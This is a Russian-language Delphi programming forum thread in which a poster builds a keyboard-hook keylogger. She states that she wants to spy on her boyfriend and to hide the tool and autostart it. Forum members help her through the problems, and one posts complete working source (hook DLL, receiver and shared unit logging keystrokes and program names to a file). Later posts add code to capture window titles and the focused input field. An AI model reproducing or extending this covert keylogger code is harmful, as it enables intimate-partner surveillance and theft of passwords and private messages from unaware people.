Запись в текстовый файл

← →
Tanya (2006-07-26 21:33) [0]

Что-то я никак не пойму почему не работает запись в файл... Делаю я так:

var
F: TextFile;

при запуске программы:
AssignFile(F, "file.dat"); if FileExists("file.dat") then Append(F) else Rewrite(F);

при закрытии программы:
CloseFile(F);

во время работы программы в определенные моменты файл постоянно дополняется новой строкой(ами):
WriteLn(F, "test");

Файл создается если его нету, но вот почему в него не записывается ничего я не пойму...((( В блокноте открываю его, а там пусто...((( Мастера, подскажите пожалуйста..

← →
Джо © (2006-07-26 21:34) [1]

Предлагаю попробовать передавать в AssignFile полное имя файла с путем.

← →
Tanya (2006-07-26 21:38) [2]

Всеравно пустой...((( Может это из за того что я все это сделала в библиотеке? Вроде без разнице где...

← →
Tanya (2006-07-26 21:40) [3]

Я попробовала выводить сообщение еще в программе после строки WriteLn(F, "test"); так вот почему-то оно не выводится, такое ощущение что программа останавливается на этой строке...

← →
Calibr © (2006-07-26 21:40) [4]

Попробуй сделать так:
AssignFile(f, ExtractFilePath(Application.ExeName) + "file.dat");
должно получиться!!!

← →
Джо © (2006-07-26 21:42) [5]

Телепатор, честное слово, сдал в починку :)

Если есть желание выложить куда-нибудь полный код (или сразу проект, если он не велик и не содержит сторонних компонентов) , то обещаю посмотреть на него.

← →
Джо © (2006-07-26 21:43) [6]

П.С. Во избежание дальнейших недоразумений, Татьяна, рекоммендую впредь подобные вопросы сразу постить в конференции "Начинающим".

← →
Мефисто (2006-07-26 21:47) [7]

По F1

var

f: TextFile;
begin
if OpenDialog1.Execute then
begin { open a text file }
AssignFile(f, OpenDialog1.FileName);
Append(f);
Writeln(f, "I am appending some stuff to the end of the file.");
{ insert code here that would require a Flush before closing the file }
Flush(f); { ensures that the text was actually written to file }
CloseFile(f);
end;

end;

← →
Tanya (2006-07-26 22:04) [8]

Хорошо Джо, буду писать в "Начинающим"..)) Выкладываю весь код:

Программа:
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, XPMan, StdCtrls; type TForm1 = class(TForm) Button1: TButton; XPManifest1: TXPManifest; procedure Button1Click(Sender: TObject); end; var Form1: TForm1; procedure RunHook; stdcall; external "MyLib.dll" index 1; procedure StopHook; stdcall; external "MyLib.dll" index 2; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); begin if Button1.Caption = "Run" then begin Button1.Caption := "Stop"; RunHook; end else if Button1.Caption = "Stop" then begin StopHook; Button1.Caption := "Run"; end; end; end.

Библиотека:
library MyLib; uses Windows, Messages, Dialogs, SysUtils; var F: TextFile; SysHook: HHook = 0; function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall; var ModuleFileName: array[0..MAX_PATH-1] of Char; KeyBS: TKeyboardState; pTransChar : PChar; begin if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin GetKeyBoardState(KeyBS); GetMem(pTransChar, 3); ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0)); GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName)); WriteLn(F, ModuleFileName); WriteLn(F, pTransChar^); FreeMem(pTransChar); Result := 0; end else Result := CallNextHookEx(SysHook, nCode, wParam, lParam); end; procedure RunHook; export; stdcall; begin AssignFile(F, "c:\file.dat"); if FileExists("c:\file.dat") then Append(F) else Rewrite(F); SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0); end; procedure StopHook; export; stdcall; begin UnHookWindowsHookEx(SysHook); SysHook := 0; CloseFile(F); end; exports RunHook index 1, StopHook index 2;

P.S. Часть текста скопиравана с http://delphimaster.net/view/2-1153923540/ Идея понравилась, хочу проверить своего парня...)))

← →
tesseract © (2006-07-26 22:08) [9]

> [8] Tanya (26.07.06 22:04)

в DLL общие переменные плохо храняться. Прокисают.
Вот и вся проблема.
Лучше запускать отдельно сервис и в него передавать через WM_COPYDATA данные перехвата из DLL.

ЗЫ: Лучше парню поесть приготовьте получше - он оценит.

← →
Мефисто (2006-07-26 22:17) [10]

> хочу проверить своего парня...)))

Подгялдывать, не хорошо!...

Ералаш (с)

← →
Tanya (2006-07-26 22:21) [11]

Можно ли сделать какнибудь чтобы не прокисали? ))) Я просто хочу сделать ее незаметной, функции из библиотеки прописать на события запуска и выключения Windows-а в реестре..

← →
Джо © (2006-07-26 22:23) [12]

Самое простое — открывать файл для записи, делать запись и закрывать файл прямо в SysMsgProc.

← →
Tanya (2006-07-26 22:27) [13]

Я так поняла что можно...))) Как вы думаете, на много это будет медленней работать, чтобы нагрузка на компъютер минимальная была?

← →
Tanya (2006-07-26 22:44) [14]

Мастера, подскажите еще пожалуйста еще один момент, как прочитать заголовок окна, в котором вводятся эти символы? А еще если можно, чтобы каши небыло, если можно, я только предположила, можно ли опрежедить хендл строки ввода? Т.е. Edit или Memo теже, чтобы сортировать уже по фразам, окнам и т.д...)))

← →
Джо © (2006-07-26 22:45) [15]

> [13] Tanya (26.07.06 22:27)
> Как вы думаете, на много это
> будет медленней работать, чтобы нагрузка на компъютер минимальная
> была?

Практика — критерий истины (c)

← →
tesseract © (2006-07-26 22:50) [16]

> [12] Джо © (26.07.06 22:23)

Тормозить будет, лучше сообщениями.

← →
tesseract © (2006-07-26 22:54) [17]

> [14] Tanya (26.07.06 22:44)

GetForegroundWindow - тоже прибавит нагрузки.

← →
default © (2006-07-26 22:57) [18]

что нынче кухонные плиты с панелью для программирования стали выходить?
сомневаюсь, а ну марш к плите!

← →
Tanya (2006-07-26 23:02) [19]

Я придумала ))) Сделаю переменную типа TStringList и буду туда все скидывать, а потом при выключении сохраню один раз в файл ))) Только бы вот не "прокисла" бы эта переменная, до того как сохранить в файле...

← →
tesseract © (2006-07-26 23:02) [20]

> [18] default © (26.07.06 22:57)

Будешь смеяться, но есть :-)

← →
tesseract © (2006-07-26 23:04) [21]

> [19] Tanya (26.07.06 23:02)

прокиснет, надо сделать приложение, которое будет писать в файл по сообщению от DLL. В универе такое делал. Работало.

← →
default © (2006-07-26 23:05) [22]

tesseract © (26.07.06 23:02) [20]
с Delphi?

← →
tesseract © (2006-07-26 23:07) [23]

> [22] default © (26.07.06 23:05)

с ARM вроде - был pascal для него :-)

← →
Джо © (2006-07-26 23:07) [24]

> Сделаю переменную типа TStringList и буду туда все скидывать,
> а потом при выключении сохраню один раз в файл ))) Только
> бы вот не "прокисла" бы эта переменная, до того как сохранить
> в файле...

Прокиснет, не сомневайся :)

← →
Tanya (2006-07-26 23:13) [25]

интересно а в новых версиях Delphi(у меня 7) или вообще в C++ тоже такая проблема с переменными в библиотеках?

← →
tesseract © (2006-07-26 23:18) [26]

> [25] Tanya (26.07.06 23:13)

Это ограничение Dll и so.
не предназначены они, для хранения разделяемых данных.

← →
Tanya (2006-07-26 23:22) [27]

Тогда у меня еще вопрос...))) Может тогда лучше будет вообще в программе это все реализовать, без dll? Будут ловиться нажатия клавиш?

← →
Tanya (2006-07-26 23:23) [28]

Написать сервис например, тоже особо затно не будет...

← →
tesseract © (2006-07-26 23:23) [29]

> [27] Tanya (26.07.06 23:22)

нет перехватчик должен быть в dll.

← →
Tanya (2006-07-26 23:26) [30]

А почему именно в dll? Объясните пожалуйста..))

← →
tesseract © (2006-07-26 23:29) [31]

> [30] Tanya (26.07.06 23:26)

exe не может проецироваться в адресное пространство других процессов.
п окрайней мере законно :-)

А hook"s aka перехватчики - это стандартный механизм ОС. И реализуется он в Dll. на Rsdn.ru была отличная статья по данной теме.

ЗЫ: Да я писал свой свой менеджер горячих клавиш :-)

← →
-=Germe$=- © (2006-07-27 06:47) [32]

Вы вообще о чем?? Как текстовый вайл может иметь расширение .dat оно обязательно должно иметь расширение .txt

← →
Джо © (2006-07-27 06:57) [33]

> [32] -=Germe$=- © (27.07.06 06:47)
> Вы вообще о чем?? Как текстовый вайл может иметь расширение
> .dat оно обязательно должно иметь расширение .txt

Рассмешил с утра, спасибо :)

← →
-=Germe$=- © (2006-07-27 07:14) [34]

> Рассмешил с утра, спасибо :)

Зря... Оно так и работает... Иди поучи паскаль....

← →
Slym © (2006-07-27 09:22) [35]

Кстати ни кто даже не предположил что доступ к файлу получится многопоточный :(
1. если один раз открыть файл в dll то писаться может чушь
2. если каждый раз открывать файл в dll то в прекрасный момент он может не открыться, т.к. уже захвачен в др. потоке

← →
Slym © (2006-07-27 09:23) [36]

Решение:
один поток с доступом к файлу, это может быть приложение устанавливающее хук

← →
Ditrix © (2006-07-27 09:47) [37]

>>-=Germe$=- © (27.07.06 07:14) [32][34]
>>Зря... Оно так и работает... Иди поучи паскаль....
убил! :-)
imho орешника достойно

← →
isasa © (2006-07-27 10:34) [38]

Slym © (27.07.06 09:22) [35]
Slym © (27.07.06 09:23) [36]
Если в потоке(процедуре SysMsgProc) его открывать, и после записи закрываь, что, скорее всего надо делать, все будет хорошо.

Кстати, данные какого потока загружены в данный момент
var
F: TextFile;
SysHook: HHook = 0;
код один, а данные у каждого свои.

← →
tesseract © (2006-07-27 10:46) [39]

> Slym © (27.07.06 09:23) [36]

три раза говорил про это.

← →
Slym © (2006-07-27 12:05) [40]

tesseract © (27.07.06 10:46) [39]
Но ты подходил с позиции прокисшего хендла, а я с позиции незащищенного многопоточного доступа к неразделяемому ресурсу

← →
tesseract © (2006-07-27 12:09) [41]

> Slym © (27.07.06 12:05) [40]

Если не три клавы, то наверное проблем быть не должно.
Хотя кто знает. открыть можно для совместной записи :-)

← →
Tanya (2006-07-27 13:07) [42]

Попробовала передавать в программу сообщением, так вот хендл окна программы тоже получается что хранится в глобальной переменной..((( Так как я сделала не работает..((( Мастера подскажите пожалуйста что не так:

Библиотека:
var SysHook: HHook = 0; RecHandle: Hwnd = 0; function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall; var ModuleFileName: array[0..MAX_PATH-1] of Char; KeyBS: TKeyboardState; pTransChar : PChar; begin if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin GetKeyBoardState(KeyBS); GetMem(pTransChar, 3); ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0)); GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName)); SendMessage(RecHandle, WM_COPYDATA, 0, Longint(pTransChar)); FreeMem(pTransChar); Result := 0; end else Result := CallNextHookEx(SysHook, nCode, wParam, lParam); end; procedure RunHook(AppHandle: Hwnd); export; stdcall; begin RecHandle := AppHandle; SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0); end;

Программа:
private procedure WMCopyData(var Message: TWMCOPYDATA); message WM_COPYDATA; ... procedure TForm1.WMCopyData(var Message: TWMCOPYDATA); var sText: PChar; begin StrLCopy(sText, Message.CopyDataStruct.lpData, Message.CopyDataStruct.cbData); Memo1.Lines.Add(sText); end; procedure TForm1.Button1Click(Sender: TObject); begin if Button1.Caption = "Run" then begin Button1.Caption := "Stop"; RunHook(Form1.Handle); end else if Button1.Caption = "Stop" then begin StopHook; Button1.Caption := "Run"; end; end;

← →
Чапаев © (2006-07-27 13:11) [43]

> Можно ли сделать какнибудь чтобы не прокисали? ))) Я просто
> хочу сделать ее незаметной, функции из библиотеки прописать
> на события запуска и выключения Windows-а в реестре..

Зачем велосипед изобретать? System log давно придуман и успешно действует...

Ещё я бы смотрел в сторону App_InitDLL, хотя это и жестоко. ;-)

← →
Чапаев © (2006-07-27 13:12) [44]

А с записью в файл изнутри хука таки були проблемы... В их причинах так и не разобрался.

← →
tesseract © (2006-07-27 13:20) [45]

забыл про эту фишку.

заводишь новое сообщение WM_HUSBAND_INTERCEPT=WM_USER+117 например, и вместо хэндла окна шлёшь на HWND_BROADCAST.

Остальные приложения твоё сообщение проигнорируют.

← →
Tanya (2006-07-27 13:26) [46]

Идею поняла, а вот это сообщение:
const WM_HUSBAND_INTERCEPT=WM_USER+117; и в программе и в библиотеке прописать как константа?

← →
Чапаев © (2006-07-27 13:30) [47]

> Tanya (27.07.06 13:26) [46]

Вообще-то лучше вызывать RegisterWindow[s]Message().

← →
Tanya (2006-07-27 13:35) [48]

Я не очень понимаю как обрабатывать это сообщение в программе, как вытащить из сообщения текст?

Передача в библиотеке:
SendMessage(HWND_BROADCAST, WM_HUSBAND_INTERCEPT, 0, Longint(pTransChar));

Прием в программе:
private procedure WMHusbandIntercept(var Message: TMessage); message WM_HUSBAND_INTERCEPT; ... procedure TForm1.WMHusbandIntercept(var Message: TMessage); var sText: PChar; begin ????????????????????????????? Memo1.Lines.Add(sText); end;

← →
Чапаев © (2006-07-27 13:38) [49]

> procedure TForm1.WMHusbandIntercept(var Message: TMessage);
>
> var
> sText: PChar;
> begin
> ?????????????????????????????
> Memo1.Lines.Add(sText);
> end;

sText:=PChar(Message.LParam);
Только имхо работать не будет.

← →
Tanya (2006-07-27 13:41) [50]

Правда не работает...(((

← →
Чапаев © (2006-07-27 13:48) [51]

> Правда не работает...(((

Указатели между программой и библиотекой передавать не удастся. Точнее, не удастся с ними работать. ;-) Или используй сообщение WM_COPYDATA, или смотри в сторону file mapping.

← →
Tanya (2006-07-27 13:49) [52]

Чапаев, это из за того что RegisterWindow[s]Message() не используем? Или из за чего?

← →
tesseract © (2006-07-27 13:49) [53]

> Чапаев © (27.07.06 13:48) [51]

ShareMem - надо использовать системную память.

← →
Tanya (2006-07-27 13:50) [54]

Чапаев, посмотри пожалуйста, я писала выше код с использованием WM_COPYDATA, может я не правильно что-то там сделала? Но тоже не работало...(((

← →
Чапаев © (2006-07-27 13:51) [55]

> tesseract © (27.07.06 13:49) [53]

Шъйорт побьеры. Туплю.

> Чапаев, это из за того что RegisterWindow[s]Message() не
> используем?

Нет, это не коррелируется. :-)

← →
Tanya (2006-07-27 13:52) [56]

ShareMem еще какой-то... Вообще темный лес... Ну и запути же вы меня...)))

← →
Tanya (2006-07-27 13:53) [57]

*запутали )))

← →
Чапаев © (2006-07-27 13:57) [58]

> Tanya (27.07.06 13:50) [54]

Конечно неправильно. В LParam нужно передавать указатель на COPYDATASTRUC, а ты передаёшь просто PChar.

> ShareMem еще какой-то

Впиши ShareMem первым в список uses приложения и библиотеки.

← →
Tanya (2006-07-27 13:59) [59]

А как передавать этот COPYDATASTRUC? впервый раз вообще слышу...

← →
Чапаев © (2006-07-27 14:04) [60]

var
CDS:TCopyDataStruct;
Txt:PChar;
...
begin
...
CDS.cbData:=StrLen(Txt); //или StrLen(Txt)+1?
CDS.lpData:=Txt;
SendMessage(xxx,xxx,xxx,LPARAM(@CDS));
end;

← →
Tanya (2006-07-27 14:11) [61]

А передавать COPYDATASTRUC в каком сообщении, в WM_COPYDATA или в WM_HUSBAND_INTERCEPT? А то я что-то запуталась уже.. И хендл программы HWND_BROADCAST или всетаки передавать его в функции RunHook?

← →
Чапаев © (2006-07-27 14:16) [62]

> А передавать COPYDATASTRUC в каком сообщении, в WM_COPYDATA
> или в WM_HUSBAND_INTERCEPT?

Нет. Передача COPYDATASTRUCT -- не панацея.

> И хендл программы HWND_BROADCAST или всетаки передавать
> его в функции RunHook?

Э... Ты таки запуталась.

← →
Tanya (2006-07-27 14:19) [63]

Я правильно поняла?
const WM_HUSBAND_INTERCEPT=WM_USER+117; ... SendMessage(HWND_BROADCAST, WM_HUSBAND_INTERCEPT, 0, LPARAM(@CDS));

← →
Чапаев © (2006-07-27 14:33) [64]

> SendMessage(HWND_BROADCAST, WM_HUSBAND_INTERCEPT, 0, LPARAM(@CDS));

Примерно так, но COPYDATASTRUCT в данном случае неуместно.

← →
Tanya (2006-07-27 15:41) [65]

М... а что уместно? )))

← →
Tanya (2006-07-27 15:45) [66]

ошибка на "собаке" (@) в строке SendMessage(HWND_BROADCAST, WM_HUSBAND_INTERCEPT, 0, LPARAM(@CDS));

[Error] MyLib.dpr(32): Missing operator or semicolon

← →
Tanya (2006-07-27 16:17) [67]

Мастера, подскажите пожалуйста, уже второй день не могу это сделать..(((

гм не обязательно CopyDataStruct - она стандартизирована для WM_COPYDATA.

Можешь в принципе передать любые данные по ссылке через wparam/lparam.

например ссылку на строку или PChar.

Если хочешь передать только одну или две буквы - так вообще ничего не надо делать - передай их как код через wparam/lparam и никаких тормозных sharemem.

← →
Tanya (2006-07-27 16:38) [69]

tesseract, ведь для посылки WM_COPYDATA нужно знать хендл приложения, который "прокисает" хранясь в глобальной переменной(передается тогда в функции RunHook)... Вот что делать? Посылать тогда всем приложениям сообщение, т.е. HWND_BROADCAST?

см 68. возможно тебе хватит и 64 бит :-)

← →
Tanya (2006-07-27 16:44) [71]

Не всегда по буковке хотелось бы передавать... еще в будущем хочу сделать путь к exe-файлу программы, в котором вводится все это и заголовок окна(передаваться все это тоже будет)

> Tanya (27.07.06 16:44) [71]

Это можно перехватить и из сторонней программы, по получению сообщения - GetForeGroundWindow :-)

← →
Tanya (2006-07-27 17:17) [73]

Что-то я совсем расстроилась...((( Не ловит программа сообщение и все, хоть ты тресни...((( И так HWND_BROADCAST пробавала, и хендл окна программы передать в библиотеку пыталась... Не ловит и все... В программе сделала для наглядности вызов функции ShowMessage, так вот она нивкаком случае не выскакивает...(((

> Tanya (27.07.06 17:17) [73]

не ловит какое сообщение?

Вот небольшой пример на основе твоего кода. Он только дополнен посылкой/обработкой сообшения и совсем чуть-чуть исправлен. На более расширенный пример нет времени.

--- Главная программа
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type // Класс главной формы должен иметь // именно такое название! (см. константу в SharedUnit). TCharLogReceiver = class(TForm) Button1: TButton; procedure Button1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); private FTextFile: TextFile; procedure Log (const S: string); procedure WmCopyData (var Msg: TMessage); message WM_COPYDATA; public { Public declarations } end; var CharLogReceiver: TCharLogReceiver; procedure RunHook; stdcall; external "MyLib.dll" index 1; procedure StopHook; stdcall; external "MyLib.dll" index 2; implementation uses SharedUnit; {$R *.dfm} const LogFileName = "c:\keylog.dat"; procedure TCharLogReceiver.Button1Click(Sender: TObject); begin if Button1.Caption = "Run" then begin Button1.Caption := "Stop"; RunHook; end else if Button1.Caption = "Stop" then begin StopHook; Button1.Caption := "Run"; end; end; procedure TCharLogReceiver.WmCopyData(var Msg: TMessage); var Struc: COPYDATASTRUCT; AData: THookData; begin Struc := PCopyDataStruct (Msg.LParam)^; TranslateData(Struc,AData); Log (AData.ModuleFileName); Log (AData.Chr); Msg.Result := 1; end; procedure TCharLogReceiver.FormCreate(Sender: TObject); begin AssignFile(FTextFile, LogFileName); if FileExists(LogFileName) then Append(FTextFile) else Rewrite(FTextFile); end; procedure TCharLogReceiver.FormDestroy(Sender: TObject); begin CloseFile (FTextFile) end; procedure TCharLogReceiver.Log(const S: string); begin WriteLn (FTextFile,S); end; end.

--- Библиотека

library MyLib; uses Windows, Messages, SysUtils, SharedUnit in "SharedUnit.pas"; var SysHook: HHook = 0; function SysMsgProc(nCode: integer; wParam: word; lParam: longint): longint; stdcall; var ModuleFileName: TMaxPathString; KeyBS: TKeyboardState; pTransChar : PChar; Data: THookData; begin if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then begin GetKeyBoardState(KeyBS); GetMem(pTransChar, 3); ToAsciiEx(wParam, 0, KeyBS, pTransChar, 0, GetKeyboardLayout(0)); GetModuleFileName(0, ModuleFileName, SizeOf(ModuleFileName)); Data.Chr := pTransChar^; Data.ModuleFileName := ModuleFileName; SendData(Data); FreeMem(pTransChar); Result := 0; end else Result := CallNextHookEx(SysHook, nCode, wParam, lParam); end; procedure RunHook; export; stdcall; begin SysHook := SetWindowsHookEx(WH_KEYBOARD, @SysMsgProc, HInstance, 0); end; procedure StopHook; export; stdcall; begin UnHookWindowsHookEx(SysHook); SysHook := 0; end; exports RunHook index 1, StopHook index 2; end.

--- Общий модуль, используется как в библиотеке, так и в главной программе.

unit SharedUnit; interface uses Windows, Messages; const ReceiverWindowClassName = "TCharLogReceiver"; type TMaxPathString = array [0..MAX_PATH] of Char; THookData = packed record Chr: Char; ModuleFileName: TMaxPathString; end; PHookData = ^THookData; function SendData (AData: THookData): Boolean; procedure TranslateData (DataStruc: COPYDATASTRUCT; var AData: THookData); implementation function SendData (AData: THookData): Boolean; var H: HWND; _Data: COPYDATASTRUCT; begin Result := False; H := FindWindow(ReceiverWindowClassName,nil); if H <> 0 then begin _Data.dwData := 0; _Data.cbData := SizeOf(THookData); _Data.lpData := @AData; Result := SendMessage (H,WM_COPYDATA,0,Integer(@_Data)) <> 0; end; end; procedure TranslateData (DataStruc: COPYDATASTRUCT; var AData: THookData); var PData: PHookData; begin PData := DataStruc.lpData; AData.Chr := PData^.Chr; Move (PData^.ModuleFileName, AData.ModuleFileName, SizeOf(AData.ModuleFileName)); end; end.

Думаю, что, несмотря на его небрежность, код достаточно прост для понимания и без комментариев. :)

П.С. Практический совет. В главной программе периодически стоит делать текстовому файлу Flush, для реальной записи изменений на диск. Например, по таймеру или в процедуре Log раз в N-е кол-во записей.

← →
Tanya (2006-07-28 13:15) [77]

Джо, спасибо большое! Чмок тебя в носик )))

← →
Tanya (2006-08-01 17:00) [78]

У меня все получилось, работает все хорошо, заголовок окна я так определяю:
var FormCaption: TMaxPathString; ... GetWindowText(GetForegroundWindow, FormCaption, SizeOf(FormCaption));

Все работает хорошо, но у меня возник еще один вопрос. Наприер если на форме будет много полей ввода, как их различать? Я думаю по хендлу... Вот как можно определить хендл не окна а поля ввода?

> Вот как можно определить хендл не окна а поля ввода?

EnumChildWindows?

← →
Tanya (2006-08-01 17:13) [80]

Попробую разобраться с этой функцией, а еще я хотела спросить.. Джо, в твоем примере мы передаем сообщение форме, которая имеет класс "TCharLogReceiver", а если это будет не форма и не программа а сервис? Если сервис будет иметь такое название класса, будут до него доходить сообщения?

← →
Tanya (2006-08-01 20:44) [81]

EnumChildWindows только перечисляет все дочерние окна, а хотелось бы какнибудь узнать именно то в котором происходит ввод символов...

> Если сервис будет иметь такое название класса, будут до
> него доходить сообщения?

Нет, нужно окно.

← →
Tanya (2006-08-01 22:33) [83]

Джо, счто скажете о Tanya (01.08.06 20:44) [81]?

> [83] Tanya (01.08.06 22:33)
> Джо, счто скажете о Tanya (01.08.06 20:44) [81]?

Я плохо разбираюсь в WinAPI, поэтому ничего изящного предложить не могу. Вот, например, придумал такой велосипед для определения окна (и дочернего, в том числе), имеющего фокус ввода в чужом процессе. Ничуть не удивлюсь, если есть более простые способы :)

var ThreadId: THandle; GuiThreadInfo: tagGUITHREADINFO; Txt: array [0..1024] of Char; begin ThreadId := GetWindowThreadProcessId ( Handle_Окна ); if ThreadId = 0 then RaiseLastOSError; GuiThreadInfo.cbSize := SizeOf(tagGUITHREADINFO); if not GetGUIThreadInfo (ThreadId,GuiThreadInfo) then RaiseLastOSError; // ну, а теперь получим его текст GetWindowText(GuiThreadInfo.hwndFocus,Txt,SizeOf(Txt)); end;

> [84] Джо © (02.08.06 02:11)
> GetWindowText(GuiThreadInfo.hwndFocus,Txt,SizeOf(Txt));

За сие не пинайте — вынужденный недосып :) Конечно, текст нужно выдирать посылкой сообщения WM_GETTEXT, но для вопроса это неважно.

> [80] Tanya (01.08.06 17:13)

> Если сервис будет иметь такое название класса, будут до
> него доходить сообщения?

более того, данный метод коммуникации (используя сообщения) не будет поддерживать Fast User Switching (поэтому парень легко будет прятаться от тебя), поэтому прийдется писать ещё один исполняемый модуль, который будет запускаться для каждой терминальной сессии и взаимоействовать с одной стороны с dll, получая от неё сообщения, а с другой - с сервисом, посредством одного из способов IPC.

:o)

Правильно ли я понимаю, что тут всем миром пишут keylogger? =)

> [84] Джо © (02.08.06 02:11)

Не знаю что проще, но я использовал нечто такое:

var wnd : HWND; toPID, PID : Cardinal; begin PID := GetCurrentThreadId(); Wnd := { } toPID := GetWindowThreadProcessId(Wnd, nil); if not AttachThreadInput(toPID, PID, True) then Exit; Wnd := GetFocus(); // Wnd AttachThreadInput(toPID, PID, False); end;

Zeqfreed © (02.08.06 07:56) [88]

Ой. Опять забыл, что форум съедает пробелы, да ещё и клиент русские комментарии куда-то дел :( Пробую ещё раз.

var wnd : HWND; toPID, PID : Cardinal; begin PID := GetCurrentThreadId(); Wnd := Нужное_окно toPID := GetWindowThreadProcessId(Wnd, nil); if not AttachThreadInput(toPID, PID, True) then Exit; Wnd := GetFocus(); //Работаем с окном AttachThreadInput(toPID, PID, False); end;

← →
Tanya (2006-08-13 00:59) [90]

Подскажите пожалуйста, как всетаки передать сообщение в сервис, это же тоже программа, не имеющая окна...

> [87] Virgo_Style © (02.08.06 07:45)
да. %-)

> [90] Tanya (13.08.06 00:59)
поиск делать религия запрещает? ну, сокетами, например. только не надо спрашивать "а как это?"

> [90] Tanya (13.08.06 00:59)
> Подскажите пожалуйста, как всетаки передать сообщение в
> сервис, это же тоже программа, не имеющая окна...

Ну, в принципе, невидимое окно завести никто не запрещает.

Запись в текстовый файл Найти похожие ветки